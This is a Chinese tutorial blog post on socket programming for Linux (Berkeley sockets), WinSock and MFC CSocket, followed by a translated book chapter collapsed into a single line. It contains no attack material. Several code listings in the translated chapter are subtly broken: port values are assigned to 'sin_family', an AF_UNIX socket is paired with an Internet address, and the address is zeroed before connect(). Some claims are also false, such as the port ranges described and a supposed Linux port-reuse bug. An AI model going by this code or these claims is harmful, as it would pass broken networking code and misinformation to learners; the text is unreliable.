2004年08月14日

网络编程

本章主要介绍一下网络编程的基本知识。由于书中后面章节都有一些简单的源程序实例来对各章的基本概念进行解释,因此必须具备必要的网络编程知识。
在平时工作中,为了查找安全漏洞,也需要编写一些短小精悍的程序来代替复杂的手工命令输入。
在操作系统一章中对Linux中的C语言编程和调试已经作了介绍。本章在前两章的基础上,首先对Linux中的网络编程作介绍,Linux对网络通信提供了很好的支持。由于Windows系统目前很流行,特别是开发环境Visual C++,所以,本章也对Windows环境下的网络编程作了介绍。

第一节 Linux网络编程(Berkeley Sockets)

我们可以认为套接字是将Unix系统的文件操作推广到提供点对点的通信。如果要操作文件,应用程序会根据应用程序的需要为之创建一个套接字。操作系统返回一个整数。应用程序通过引用这个正数来使用这个套接字。文件描述符和套接字描述符的不同点在于,在程序调用open()时,操作系统将一个文件描述符绑定到一个文件或设备,但在创建一个套接字时,可以不将它绑定到一个目标地址。程序可以在任何想要用这个套接字的时候指定目标地址。
在点对点的通信程序中,我们将请求服务或数据的程序叫做客户端程序,提供数据或服务的软件叫做服务器程序。
图1是一个面向连接的服务器程序和客户端程序的流程图。
对于使用无连接协议的服务器程序和客户端程序的流程,请参见图2。图中,客户端程序并不和服务器程序建立连接,它是通过使用服务器地址作为参数的sendto()系统调用,发送一个数据报给服务器的。同样,服务器并不接受客户端的连接,而是用recvfrom()调用等待从客户端来的数据。

套接字系统调用
  下面解释一下几个基本的套接字系统调用函数。只要你将下面的函数与系统的输入输出函数调用加以对比,就能很快地掌握这些函数调用了。

socket()
————————————————————
#include < sys/types.h>
#include < sys/socket.h>

int socket(int family, int type, int protocol);
————————————————————

int family参数指定所要使用的通信协议,取以下几个值。
值 含义
AF_UNIX Unix内部协议
AF_INET Internet协议
AF_NS Xerox NS协议
AF_IMPLINK IMP 连接层

int type 指定套接字的类型,取以下几个值

值 含义
SOCK_STREAM 流套接字
SOCK_DGRAM 数据报套接字
SOCK_RAW 未加工套接字
SOCK_SEQPACKET 顺序包套接字

int protocol 参数通常设置为0。

  socket()系统调用返回一个整数值,叫做套接字描述字sockfd,它的原理与文件描述符一样。网络I/O的第一步通常就是调用这个函数。

socektpair()
————————————————————
#include < sys/types.h>
#include < sys/socket.h>

int socketpair(int family, int type, int protocol, int sockvec[2]);
————————————————————

  这个调用返回两个套接字描述符, sockvec[0]和sockvec[1],它们没有名字,但是连着的。这个调用与管道系统调用类似。由这个调用创建的结构叫做一个流管道。

bind()
————————————————————
#include < sys/types.h>
#include < sys/socket.h>

int bind(int sockfd, struct sockaddr *myaddr, int addrlen);
————————————————————

  这个调用将一个名字命名给一个没有名字的套接字。第二个参数myaddr是指向一个特定协议地址的指针,第三个参数是这个地址结构的大小。
  bind()有三个作用:
   服务器在系统里登记它们的地址
   客户为它自己注册一个地址
   一个没有连接的客户确保系统固定分配给它一个唯一的地址

connect()
————————————————————
#include < sys/types.h>
#include < sys/socket.h>

int connect(int sockfd, struct sockaddr *servaddr, int addrlen);
————————————————————

  这个过程在socket()调用后,将一个套接字描述符和一个与服务器建立的连接的联系。sockfd是一个由socket()调用返回的套接字描述符。第二个参数是服务器套接字地址的指针,第三个参数是这个地址的长度。

listen()
————————————————————
#include < sys/types.h>
#include < sys/socket.h>

int listen(int sockfd, int backlog)
————————————————————

  面向连接的服务器使用这个系统调用,来表示它希望接受连接。
  这个系统调用通常在socket()和bind()之后,在accept()调用之前调用。参数backlog表示当它们等待执行accept()系统调用之前,系统能对多少个连接请求进行排队。

accept()
————————————————————
#include < sys/types.h>
#include < sys/socket.h>

int accept(int sockfd, struct sockaddr *peer, int *addrlen);
————————————————————
  在一个建立好连接的服务器执行了listen()系统调用之后,一个实际和客户的连接过程等待服务器调用accept()系统调用。
  accept()取出在队列里的第一个连接请求,并且创建另一个和sockfd有相同属性套接。如果队列中没有连接请求,这个调用就将调用者阻塞,知道有请求为止。
  peer和addrlen 参数用来返回连接的客户的地址。调用者在调用之前设置addrlen的值,系统调用通过它返回一个值。

send(), sendto(), recv(), recvfrom()
————————————————————
#include < sys/types.h>
#include < sys/socket.h>

int send(int sockfd, char *buff, int nbytes, int flags);

int sendto(int sockfd, char *buff, int nbytes, int flags,
struct sockaddr *to, int addrlen);

int recv(int sockfd, char *buff, int nbytes, int flags);

int recvfrom(int sockfd, char *buff, int nbytes, int flags,
struct sockaddr *from, int addrlen);
————————————————————

  这些调用与标准的系统调用read()和write()相似。
  这些调用需要附加的参数。Flag参数可以是0或者下列常数:
   MSG_OOB 接受或发送绑定外的数据
   MSG_PEEK 监视进入信息
   MSG_DONTROUTE 绕过路由

close()
————————————————————
#include < sys/types.h>
#include < sys/socket.h>

int close(int sockfd);
————————————————————

  关闭一个套接字。
编程实例
从一个描述符读n字节数据
/* 从一个描述符读n字节数据 */
int readn(register int fd, register char *ptr, register int nbytes)
{
int nleft, nread;

nleft=nbytes;
while (nleft > 0){
nread=read(fd,ptr,nleft);
if(nread < 0)
return(nread);
else if (nread==0)
break;
nleft-=nread;
ptr +=nread;
}
return(nbytes – nleft);
}

写n字节数据到一个描述符
/* 写n字节数据到一个描述符 */
int writen(register int fd, register char *ptr, register int nbytes)
{
int nleft, nwritten;
nleft=nbytes;
while(nleft>0){
nwritten=write(fd,ptr,nleft);
if(nwritten< =0)
return(nwritten);
nleft -= nwritten;
ptr += nwritten;
}
return(nbytes-nleft);}

TCP编程
/* inet.h
* 服务器和客户端程序的头文件。
*/
#include < stdio.h>
#include < sys/types.h>
#include < sys/socket.h>
#include < netinet/in.h>
#include < arpa/inet.h>

#define SERV_UDP_PORT 6000
#define SERV_TCP_PORT 6000
#define SERV_HOST_ADDR “192.43.235.6″ /* host addr for server */

char *pname;

服务器程序如下:
/* TCP服务器程序 */
#include “inet.h”

main(int argc, char * argv)
{
int sockfd, newsockfd, clilen, childpid;
struct sockaddr_in cli_addr, serv_addr;

pname = argv[0];

/* 打开一个TCP套接字 (一个Internet流套接字) */

if ( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
err_dump(“server: can’t open stream socket”);

/* 绑定本地地址,这样,客户机就能访问到服务器。*/

bzero((char *) &serv_addr, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
serv_addr.sin_port = htons(SERV_TCP_PORT);

if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0)
err_dump(“server: can’t bind local address”);

listen(sockfd, 5);

for ( ; ; ) {
/* 等待一个来自客户机的连接进程,这是一个并发的服务器。*/

clilen = sizeof(cli_addr);
newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
if (newsockfd < 0)
err_dump(“server: accept error”);

if ( (childpid = fork()) < 0)
err_dump(“server: fork error”);

else if (childpid == 0) { /* 子进程 */
close(sockfd); /* 关闭原来的套接字 */
str_echo(newsockfd); /* 处理请求 */
exit(0);
}

close(newsockfd); /* 父进程 */
}
}

服务机代码:
/* 使用TCP协议客户机 */
#include “inet.h”

main(argc, argv)
int argc;
char *argv[];
{
int sockfd;
struct sockaddr_in serv_addr;

pname = argv[0];

/* 在结构”serv_addr”里填入想要连接的服务器的地址*/

bzero((char *) &serv_addr, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = inet_addr(SERV_HOST_ADDR);
serv_addr.sin_port = htons(SERV_TCP_PORT);

/* 打开一个TCP套接字(一个Internet 流套接字) */

if ( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
err_sys(“client: can’t open stream socket”);

/* 连到服务器上*/

if (connect(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0)
err_sys(“client: can’t connect to server”);

str_cli(stdin, sockfd); /* 全部输出 */

close(sockfd);
exit(0);
}

套接字和信号量
  在使用一个套接字时,可以产生三个信号量。
   (SIGIO) 这个信号量表示一个套接字已经准备好进行异步I/O了。这个信号量会发给这个套接字的所有进程。这些进程是通过用FIOSETOWN 或 SIOCSPGRP 调用ioctl而建立的。或者是用F_SETOWN调用fcntl建立的。这个信号量只在这个进程在这个套接字上,用FIOASYNC调用ioctl或用FASYNC调用fcntl后,可以进行异步I/O后发给这些进程的。
   (SIGURG) 这个信号量表示出现了一个紧急情形。一个紧急情形是任何一个在套接字上一个出现了一个超过带宽的数据的到达信息。超过带宽表示在用户进程到达的数据超出了I/O缓冲区了。
   (SIGPIPE) 这个信号量表明我们不再会向套接字,管道或FIFO写数据了。
异步I/O
  异步I/O允许进程通知操作系统内核,如果一个指定的描述符可以进行I/O时,内核通知该进程。这通常叫做信号量驱动I/O。内核通知进程的信号量是SIGIO。
  为了实现异步I/O,一个进程必须:
   建立一个处理SIGIO信号量的程序。
   将进程ID或进程组ID设置好,能接受SIGIO信号量。这是由fcntl命令实现的。
   进程必须用dcntl系统调用,激活异步I/O。

第二节 Windows网络编程(WinSock)

  这里介绍WinSock创建TCP流套接字程序。Winsock的编程和第一部分将的非常的相似。

创建TCP流套接字服务器程序
  用socket()函数打开一个流套接字。用AF_INET指定地址格式参数,SOCK_STREAM指定类型参数。

if ((WinSocket = socket (AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET)
{
wsprintf (szError, TEXT(“Allocating socket failed. Error: %d”),
WSAGetLastError ());
MessageBox (NULL, szError, TEXT(“Error”), MB_OK);
return FALSE;
}

  使用SOCKADDR_IN结构作为地址参数,用bind()函数命名套接字。
  用socket()函数打开一个套接字时,这个套接字没有名字,仅仅在一个地址家族名字空间里分配了一个描述符。为了让客户端套接字区分开来,一个TCP流套接字服务器程序必须命名它的套接字。但不必用bind()函数命名客户端的套接字。
  一个套接字的名字在TCP/TP协议里由三部分组成:协议名称,主机地址和一个表征应用程序的端口数字。这些地址域sin_family, sin_addr, sin_port都是SOCKADDR_IN结构的成员。必须在调用bind()之前初始化SOCKADDR_IN结构。
  下面的这段代码示范怎样初始化SOCKADDR_IN结构和调用bind()函数。

// 填写本地套接字地址数据
local_sin.sin_family = AF_INET;
local_sin.sin_port = htons (PORTNUM);
local_sin.sin_addr.s_addr = htonl (INADDR_ANY);

// 将本地地址和WinSocket相连
if (bind (WinSocket,
(struct sockaddr *) &local_sin,
sizeof (local_sin)) == SOCKET_ERROR)
{
wsprintf (szError, TEXT(“Binding socket failed. Error: %d”),
WSAGetLastError ());
MessageBox (NULL, szError, TEXT(“Error”), MB_OK);
closesocket (WinSocket);
return FALSE;
}

  使用listen()函数侦听。为了准备一个TCP流套接字服务器的一个名字连接,必须侦听从客户端来的连接。
  下面这个例子说明了怎样使用listen()函数。

if (listen (WinSocket, MAX_PENDING_CONNECTS) == SOCKET_ERROR)
{
wsprintf (szError,
TEXT(“Listening to the client failed. Error: %d”),
WSAGetLastError ());
MessageBox (NULL, szError, TEXT(“Error”), MB_OK);
closesocket (WinSocket);
return FALSE;
}

  使用accept()接受客户端的连接。
  TCP流服务器套接字使用这个函数来完成服务器和客户端的名字连接过程。
  Accept()函数创建一个新的套接字。初始的由服务器打开的套接字继续侦听该端口,可以一直接受连接,知道关闭。服务器程序必须负责关闭侦听套接字以及在接受客户连接是创建的所有套接字。
  下面的代码是accept()函数应用的示范。

accept_sin_len = sizeof (accept_sin);

// 接受一个试图在WinSocket上连接的请求
ClientSock = accept (WinSocket,
(struct sockaddr *) &accept_sin,
(int *) &accept_sin_len);

// 停止对客户连接的侦听
closesocket (WinSocket);

if (ClientSock == INVALID_SOCKET)
{
wsprintf (szError, TEXT(“Accepting connection with client
failed.”) TEXT(” Error: %d”), WSAGetLastError ());
MessageBox (NULL, szError, TEXT(“Error”), MB_OK);
return FALSE;
}

  使用send() and recv()函数发送和接受客户的数据。
  一旦客户端和服务端的套接字连接上后,就能使用上述两个函数交换数据。
  Send()函数将数据输出到套接字上。Recv()函数从套接字中读取数据。
  下面的代码是上述两个函数的应用示范。

for (;;)
{
// 从客户端接受数据
iReturn = recv (ClientSock, szServerA, sizeof (szServerA), 0);

// 确认数据收到后,显示数据
if (iReturn == SOCKET_ERROR)
{
wsprintf (szError, TEXT(“No data is received, receive failed.”)
TEXT(” Error: %d”), WSAGetLastError ());
MessageBox (NULL, szError, TEXT(“Server”), MB_OK);
break;
}
else if (iReturn == 0)
{
MessageBox (NULL, TEXT(“Finished receiving data”),
TEXT(“Server”), MB_OK);
break;
}
else
{
// 将ASCII字符串转换成Unicode字符串
for (index = 0; index < = sizeof (szServerA); index++)
szServerW[index] = szServerA[index];

// 显示从客户端接收到的数据
MessageBox (NULL, szServerW, TEXT(“Received From Client”),
MB_OK);
}
}

// 从服务器给客户端发个数据
if (send (ClientSock, “To Client.”, strlen (“To Client.”) + 1, 0)
== SOCKET_ERROR)
{
wsprintf (szError,
TEXT(“Sending data to the client failed. Error: %d”),
WSAGetLastError ());
MessageBox (NULL, szError, TEXT(“Error”), MB_OK);
}

  成功地完成send()函数的调用并不能说明数据的发送是成功的。
  使用closesocket()函数来断开连接。当服务器和客户端数据交换结束后,使用这个函数关闭套接字。为了在一个TCP连接确认数据已经交换了,一个程序应该在调用这个函数之前调用shutdown()函数。
  一个程序应该在程序结束前,关闭所有打开的程序,以便将套接字资源返回给操作系统。对于TCP流套接字,当一个套接字连接结束后,服务器关闭了有accept()创建的套接字,但最先的侦听套接字还是打开的。在程序结束前要将侦听套接字也关闭。

创建TCP流套接字客户端程序
  用socket()函数打开一个流套接字。 调用这个函数时使用AF_INET作为地址格式参数,用SOCK_STREAM做类型参数。
  用SOCKADDR_IN结构作为名字参数调用connect()函数和服务器连接。TCP流套接字客户端通过这个函数将名字和服务器相连。
  在调用connect()函数之前要初始化SOCKADDR_IN 结构,这和bind()函数调用类似,但是sin_port 和sin_addr用远程的套接字名字,而不是本地的。
  下面这段代码显示怎样和服务器相连。

// 建立一个和服务器套接字的连接
if (connect (ServerSock,
(PSOCKADDR) &destination_sin,
sizeof (destination_sin)) == SOCKET_ERROR)
{
wsprintf (szError,
TEXT(“Connecting to the server failed. Error: %d”),
WSAGetLastError ());
MessageBox (NULL, szError, TEXT(“Error”), MB_OK);
closesocket (ServerSock);
return FALSE;
}

  用send()和recv*(函数和服务器交换数据。用closesocker()函数关闭连接。

第三节 MFC中的编程

  Visual C++的MFC提供了CSocket类用来实现网络通信。下图给出了CSocket 类的继承关系。

  下面介绍VC++在Windows 95中实现Socket的 CSocket 类相关成员函数(这些成员函数实际上是从CAsyncSocket 类继承来的)的使用。

(1) BOOL Create( UINT nSocketPort = 0, int nSocketType = SOCK_STREAM, long lEvent = FD_READ |FD_WRITE|FD_OOB|FD_ACCEPT|FD_CONNECT| FD_CLOSE,LPCTSTR lpszSocketAddress = NULL )
  该函数用来建立Socket。 其中,nSocketPort 为所选择的Socket 端口,一般要大于 1023, 如果该参数为0, 则由系统选定一端口,默认值为0 ;nSocketType 为套接字类型:SOCK_STREAM 表示为流套接字,SOCK_DGRAM 表示为数据报套接字,默认值为SOCK_STREAM ;lEvent 标识该Socket 要完成哪种工作,默认值为FD_READ|FD_WRITE|FD_OOB| FD_ACCEPT|FD_CONNECT|FD_CLOSE ;lpszSockAddress 为网络地址信息结构指针,包含网络地址, 默认值为NULL 。

(2)BOOL Bind( UINT nSocketPort, LPCTSTR lpszSocketAddress = NULL )
  该函数的作用是将Socket 端口与网络地址连接起来。参数含义同上 。
(3)BOOL Listen( int nConnectionBacklog = 5 )
  该函数的作用是等待Socket请求。其中,nConnec-tionBacklog 表示等待队列的长度,默认值为最大值5 。

(4)virtual BOOL Accept( CAsyncSocket& rConnectedSocket, SOCKADDR* lpSockAddr = NULL, int* lpSockAddrLen = NULL )
  该函数的作用是取得队列上第一个连接请求并建立一个具有与Socket相同特性的套接字。其中,rConnectedSocket 表示一个新的Socket 。

(5)BOOL Connect( LPCTSTR lpszHostAddress, UINT nHostPort )
  该函数的作用是提出请求。其中,lpszHostAddress 和 nHostPort 为接受请求进程的网络地址和Socket 端口号。

(6)virtual void Close( )
  该函数的作用是关闭该Socket 。

  利用CSocket类直接进行数据通信有两种方式:一种是利用CSocketFile 类和Archive 类去实现,另一种是利用CSocket的成员函数 Receive、Send、ReceiveFrom、SendTo、Listen 和 Accept 等来实现(这些成员函数实际上也是从CAsyncSocket 类继承的)。
  两种方法的实现步骤如下 :

  Server : Construct-> Creat-> Bind -> Listen-> Accept-> Send->Close ;

  Cilent : Construct ->Creat-> Connect-> Receive-> Close。

   下面就用VC++的代码分别介绍如何运用上述两种方法来实现Socket 编程。

  1、 利用CSocketFile类和Archive 类实现

  (1)服务器程序流程
  // 创建一个套接字对象
  CSocket sockSrvr;

  //为上述套接字对象创建一个套接字

  sockSrvr.Create(nPort);

  //开始侦听
  sockSrvr.Listen( );

  //创建一个新的套接字对象
  CSocket sockRecv;

  //接受连接
  sockSrvr.Accept( sockRecv );

// 创建文件对象
CSocketFile file(&sockRecv);

  //创建一个archive对象
  CArchive arIn(&file, CArchive::load);

  /*or*/_CArchive arOut(&file, CArchive::store);

  //使用archive对象传输数据
  arIn >> dwValue;

  /*or*/ arOut < < dwValue;

  (2)客户端程序流程
  //创建一个套接字对象
  CSocket sockClient;

  //为这个对象创建一个套接字
  sockClient.Create( );

  //寻找一个连接
  sockClient.Connect(strAddr, nPort);

  //创建一个文件对象
  CSocketFile file(&sockClient);

  //创建一个archive对象
  CArchive arIn(&file, CArchive::load);

  /*or*/_CArchive arOut(&file, CArchive::store);

  //使用这个对象传输数据
  arOut < < dwValue;

  /*or*/ arIn >> dwValue;

  上述程序中, nPort 是Socket 的端口号,strAddr 是该机器的IP地址(如202.197.1.3 或 FTP://RedAlert.com等),这两个变量在Server和Client中要一致。当Server进程运行至Listen 后便处于睡眠状态直到Client进程执行Connect 时才被唤醒,而后两个进程便开始传输数据了。

  2、利用CSocket的成员函数实现
  (1)服务器流程
  //套接字初始化
  if(!AfxSocketInit()){
   MessageBox(“WindowsSocket initial failed!”,”Send”,MB_ICONSTOP);
   Return;
  }

  // 创建两个套接字对象
  CSocket ChatSend,server;

  // 创建一个套接字
  if(!ChatSend.Create(nPort)) // nPort=1025
   MessageBox(“SendSocket create failed!”, “Send”,MB_ICONSTOP);
  else{
   // 把本地地址给套接字
ChatSend.Bind(nProt,strAddr);
  // strAddr=”202.196.111.1″
   // 开始侦听
   ChatSend.Listen();

   // 创建一个新的套接字并和他相连
   ChatSend.Accept(Server);
  }
  //发送一个CString 对象
  Server.SendTo(csSendText,csCounts,nPort,strAddr);

  // 关闭这两个套接字
  Server.Close();
  ChatSend.Close();

  (2)客户端程序流程

  // 套接字初始化
  if(!AfxSocketInit()){
   MessageBox(“WindowsSocket initial failed!”, “Receive”,MB_ICONSTOP);
   return;
  }

  // 创建一个套接字对象
  CSocket ChatRecieve;

  // 创建一个套接字
  if(!ChatReceive.Create()){
   MessageBox(“ReceiveSocket create failed!”,”Receive”,MB_ICONSTOP);
   return;
  }
  else{
   // 创建一个对等套接字
   ChatReceive.Connect(strAddr,nPort);
  }

  //接受一个CString 对象
  ChatReceive.ReceiveFrom(csReceiveText,csCounts,strAddr,nPort);

  // 关闭套接字
  ChatReceive.Close();

  上述两个进程完成的工作是:由Server 进程发送一字符串,Client 进程接收。 strAddr 和 nPort 的含义与方法1 中的相同 ;csSendText 和 csReceiveText 为发送与接收的字符串;csCounts为字串长度,这一长度在两个进程中要求接收长度小于或等于发送长度,否则会导致数据传输错误。另外,在程序中要加入头文件afxsock.h, CSocket 类的有关说明均在afxsock.h 中。

方法1 适合于对多个不同类型数据的通信,方法2 适合于对字符串的通信,具体选用何种方法则取决于具体应用的需求。

关于Socket编程,在《Linux从入门到精通》里有简单的介绍,更详细的可以参考《UNIX网络编程 卷1:联网的API:套接字与XTI 第2版》清华影印版,其中还讲了线程(Thread)编程。极好的参考书,可惜没人把它翻译过来。胡淑瑜翻译了一篇“网络编程”,我把它收集进来了。如有更新,请参考胡先生的个人主页。 
________________________________________________________________________________ | 版权声明 | | | | 1、本文可以转载、修改及引用,但请保留本声明和其后所付英文原文。 | | 2、任何情况下,作者和译者姓名不可删除。 | | 3、任何情况下,本文不可进入商业领域。 | | | | 胡淑瑜 | | (husuyu@linux.cqi.com.cn) | | | | 1998年11月 | |______________________________________________________________________________| 第59章 目录 网络程序设计 端口(Ports)和套接字(Sockets) 套接字程序设计 socket()系统调用(System Call) bind()系统调用 listen()系统调用 accept()系统调用 setsockopt和getsockopt系统调用 connect()系统调用 程序清单59.1服务器端(Server Side)面向套接字(socket-oriented)协议 程序清单59.2客户端函数(The lient Side function) 无连接(Connectionless)套接字程序设计 程序清单59.3服务端 注意 记录(Record)和文件锁定(Locking) 进程间通信 小结 ------------------------------------------------------------------------------- --第59章-- 网络程序设计 作者 Kamran Husain,Tim Parker 译者 胡淑瑜 本章内容 端口和套接字 套接字程序设计 记录和文件锁定 进程间通信 阅读本章需你具有如下网络程序设计的基本概念 端口和套接字 记录和文件锁定 进程间通信 本文不可能在几页之内就能与你说清网络程序设计的全部内容.事实上,一本第一卷就有 800页的专门描述网络程序设计的参考书是最有用的.如果你真想进行网络编程的话,你需要 具有编译器,TCP/IP和网络操作系统的大量经验.另外,你还需有极大的耐心. 欲知TCP/IP详细内容,请参见Tim Parker所著之<<自学TCP/IP十四天>> (Sams Publish- ing). 端口和套接字 网络程序设计全靠套接字接受和发送信息.尽管套接字这个词好象显得有些神秘,但其实 这个概念极易理解. 大多数网络应用程序使用两个协议:传输控制协议(TCP)和用户数据包协议(UDP).他们都 使用一个端口号以识别应用程序.端口号为主机上所运行之程序所用,这样就可以通过号码 象名字一样来跟踪每个应用程序.端口号让操作系统更容易的知道有多少个应用程序在使用 系统,以及哪些服务有效. 理论上,端口号可由每台主机上的管理员自由的分配.但为了更好的通信通常采用一些约 定的协议.这些协议使能通过端口号识别一个系统向另一个系统所请求的服务的类型.基于 如此理由,大多数系统维护一个包含端口号及它们所提供哪些服务的文件. 端口号被从1开始分配.通常端口号超出255的部分被本地主机保留为私有用途.1到255之 间的号码被用于远程应用程序所请求的进程和网络服务.每个网络通信循环地进出主计算机 的TCP应用层.它被两个所连接的号码唯一地识别.这两个号码合起来叫做套接字.组成套接 字的这两个号码就是机器的IP地址和TCP软件所使用的端口号. 因为网络通讯至少包括两台机器,所以在发送和接收的机器上都存在一个套接字.由于每 台机器的IP地址是唯一的,端口号在每台机器中也是唯一的,所以套接字在网络中应该是唯 一的.这样的设置能使网络中的两个应用程序完全的基于套接字互相对话. 发送和接收的机器维护一个端口表,它列出了所有激活的端口号.两台机器都包括一个进 程叫做绑定,这是每个任务的入口,不过在两台机器上恰恰相反.换句话说,如果一台机器的 源端口号是23而目的端口号被设置成25,那么另一台机器的源端口号设置成25目的端口号设 置成23. 套接字程序设计 Linux支持伯克利(BSD)风格的套接字编程.它同时支持面向连接和不连接类型的套接字. 在面向连接的通讯中服务器和客户机在交换数据之前先要建立一个连接.再不连接通讯中数 据被作为信息的一部分被交换.无论那一种方式,服务器总是最先启动,把自己绑定(Banding )在一个套接字上,然后侦听信息.服务器究竟怎样试图去侦听就得依靠你编程所设定的连接 的类型了. 你需要了解一些系统调用 socket() bind() listen() accept() setsockopt()和getsockopt() connect() sendto() recvfrom() 我们将在以下的例子中使用这些系统调用. socket()系统调用 socket()系统调用为客户机或服务器创建一个套接字,套接字函数在如下定义: #include<sys/types.h> #include<sys/socket.h> int socket(int family, int type, int protocol) 在Linux中family=AF_UNIX.type可以是SOCK_STREAM它是可靠的虽然通讯速度较慢,也可 以是SOCK_DGRAM它通讯速度较快但不可靠.如果type=SOCK_STREAM那么protocol=IPPROTO_ TCP.如果type=SOCK_DGRAM那么protocol=IPPROTO_UDP. 如果出错,函数将返回-1.否则返回一个套接字描述符你可以在程序后面的调用中通过套 接字描述符使用这个套接字. 套接字创建时没有指定名字.客户机用套接字的名字读写它.这就是如下绑定函数所要做 之事. bind()系统调用 bind()系统调用为没有名字的套接字分配一个名字.绑定函数是这样定义的: #include<sys/types.h> #include<sys/socket.h> int bind(int sockfd, struct sockaddr *saddr, int addrlen) 第一个参数是一个套接字描述符.第二个参数是名字所用的一个结构.第三个参数是结构 的大小. 现在你已经为你的客户机或服务器限定了一个地址,你可以connect()服务器或是在服务 器上侦听了.如果你的程序是一个服务器,那么它把自己设置为侦听然后等待连接.让我们来 看看哪些函数能让你试图这样做. listen()系统调用 listen()系统调用被服务器所使用.下面有它的定义: #include<sys/types.h> #include<sys/socket.h> int listen(int sockfd, int backlog); sockfd是套接字描述符.backlog是在一时间内尚未被决定是否拒绝的连接的号码.一般 使用标准值5.如发生错误则返回值小于1. 如果这个调用成功,你就已经可以接受连接了. accept()系统调用 accept()调用被服务器用于接受任何从客户机connect()调用所引入的信息.必须明白的 是,如果没有接受到连接这个函数将不返回任何值.它是象这样定义的: #include<sys/types.h> #include<sys/socket.h> int accept(int sockfd, struct sockaddr *peeraddr, int addrlen) 除peeraddr指向发出连接请求的客户机的信息外,其它参数和bind()系统调用的相同.在 信息引入的基础上,peeraddr所指向的结构的域被填上相应的值. setsockopt()和getsockopt()系统调用 Linux所提供的socket库含有一个错误(bug).此错误表现为你不能为一个套接字重新启 用同一个端口号,即使在你正常关闭该套接字以后.例如,比方说,你编写一个服务器在一个 套接字上等待的程序.服务器打开套接字并在其上侦听是没有问题的.无论如何,总有一些原 因(不管是正常还是非正常的结束程序)使你的程序需要重新启动.然而重启动后你就不能把 它绑定在原来那个端口上了.从bind()系统调用返回的错误代码总是报告说你试图连接的端 口已经被别的进程所绑定. 问题就是Linux内核在一个绑定套接字的进程结束后从不把端口标记为未用.在大多数UN IX系统中,端口可以被一个进程重复使用,甚至可以被其它进程使用. 在Linux中绕开这个问题的办法是,但套接字已经打开但尚未有连接的时候用setsockopt ()系统调用在其上设定选项(options).setsockopt()调用设置选项而getsockopt()从给定 的套接字取得选项. 这里是这些调用的语法: #include<sys/types.h> #include<sys/socket.h> int getsockopt(int sockfd, int level, int name , char *value, int *optlen) int setsockopt(int sockfd, int level, int name , char *value, int *optlen) sockfd必须是一个已打开的套接字.level是函数所使用的协议标准(protocol level)(T CP/IP协议使用IPPROTO_TCP,套接字标准的选项实用SOL_SOCKET),选项的名称(name)在套接 字说明书中(man page)有详细说明.*value指向为getsockopt()函数所获取的值或setsocko pt()函数所设置的值的地址.optlen指针指向一个整数,该整数包含参数以字节计算的长度. 其值被getsockopt()设置且其值必须被程序员设定当使用一个经由setsockopt(). 选项的所有细节可以在使用手册中setsockopt的第二节(setsockopt(2))找到. 现在我们再回到Linux的错误上来.当你打开一个套接字时必须同时用下面的代码段来调 用setsockopt()函数: #ifdef LINUX opt = 1; len = sizeof(opt); setsockopt(sockfd,SOL_SOCKET,SO_REUSEADDR,&opt ,&len); #endif 只有当你想让程序不光是在Linux系统下使用时,#ifdef和#endif描述才是必须的.有些U NIX系统可能不支持或不需要SO_REUSEADDR标志. connect()系统调用 connect()调用被在面向连接的系统中客户机连接服务器时使用.connect()调用必须被 用在bind()调用之后.它是这样定义的: #include<sys/types.h> #include<sys/socket.h> int connect(int sockfd, struct sockaddr *servs addr, int addrlen) 除servsaddr外所有的参数都和bind调用相同,servsaddr指向客户机所连接的服务器的 信息.当接到请求后,accept调用为服务器创建一个新的套接字.然后服务器就可以fork()一 个新进程然后再去等待其它连接.在服务器端你可以象程序清单59.1所显示的那样编写代码 程序清单59.1 面向套接字协议的服务器端 #include <sys/types.h> #include <sys/socket.h> #include <linux/in.h> #include <linux/net.h> #define MY_PORT 6545 main(int argc, char *argv[]) { int sockfd, newfd; int cpid; /* child id */ struct sockaddr_in servaddr; struct sockaddr_in clientInfo; if ((sockfd = socket(AF_INET, SOCK_STREAM, 0) < 0) { myabort("Unable to create socket"); } #ifdef LINUX opt = 1; len = sizeof(opt); setsockopt(sockfd,SOL_SOCKET,SO_REUSEADDR,&opt,&len); #endif bzero((char *)&servaddr, sizeof(servaddr)); servaddr.sin_family = AF_INET; servaddr.sin_addr.s_addr = htonl(INADDR_ANY); servaddr.sin_family = htons(MY_PORT); /* * The htonl (for a long integer) and htons (for short integer) convert * a host oriented byte order * into a network order. */ if (bind(sockfd,(struct sockaddr *)&servaddr,sizeof(struct sockaddr)) < 0) { myabort("Unable to bind socket"); } listen(sockfd,5); for (;;) { /* wait here */ newfd=accept(sockfd,(struct sockaddr *)&clientInfo, sizeof(struct sockaddr); if (newfd < 0) { myabort("Unable to accept on socket"); } if ((cpid = fork()) < 0) { myabort("Unable to fork on accept"); } else if (cpid == 0) { /* child */ close(sockfd); /* no need for original */ do_your_thing(newfd); exit(0); } close(newfd); /* in the parent */ } 在面向连接的协议的程序中,服务器执行以下函数: 调用socket()函数创建一个套接字. 调用bind()函数把自己绑定在一个地址上 调用listen()函数侦听连接 调用accept()函数接受所有引入的请求 调用read()函数获取引入的信息然后调用write()回答 现在让我们来看看客户端所要做的事情,见程序清单59.2. 程序清单59.2 客户端函数 #include <sys/types.h> #include <sys/socket.h> #include <linux/in.h> #include <linux/net.h> #define MY_PORT 6545 #define MY_HOST_ADDR "204.25.13.1" int getServerSocketId() { int fd, len; struct sockaddr_in unix_addr; /* create a Unix domain stream socket */ if ( (fd = socket(AF_UNIX, SOCK_STREAM, 0)) < 0) { return(-1); } #ifdef LINUX opt = 1; len = sizeof(opt); setsockopt(sockfd,SOL_SOCKET,SO_REUSEADDR,&opt,&len); #endif /* fill socket address structurew/our address */ memset(&unix_addr, 0, sizeof(unix_addr)); unix_addr.sin_family = AF_INET; /* convert internet address to binary value*/ unix_addr.sin_addr.s_addr = inet_addr(MY_HOST_ADDR); unix_addr.sin_family = htons(MY_PORT); if (bind(fd, (struct sockaddr *) &unix_addr, len) < 0) return(-2); memset(&unix_addr, 0, sizeof(unix_addr)); if (connect(fd, (struct sockaddr *) &unix_addr, len) < 0) return(-3); return(fd); } 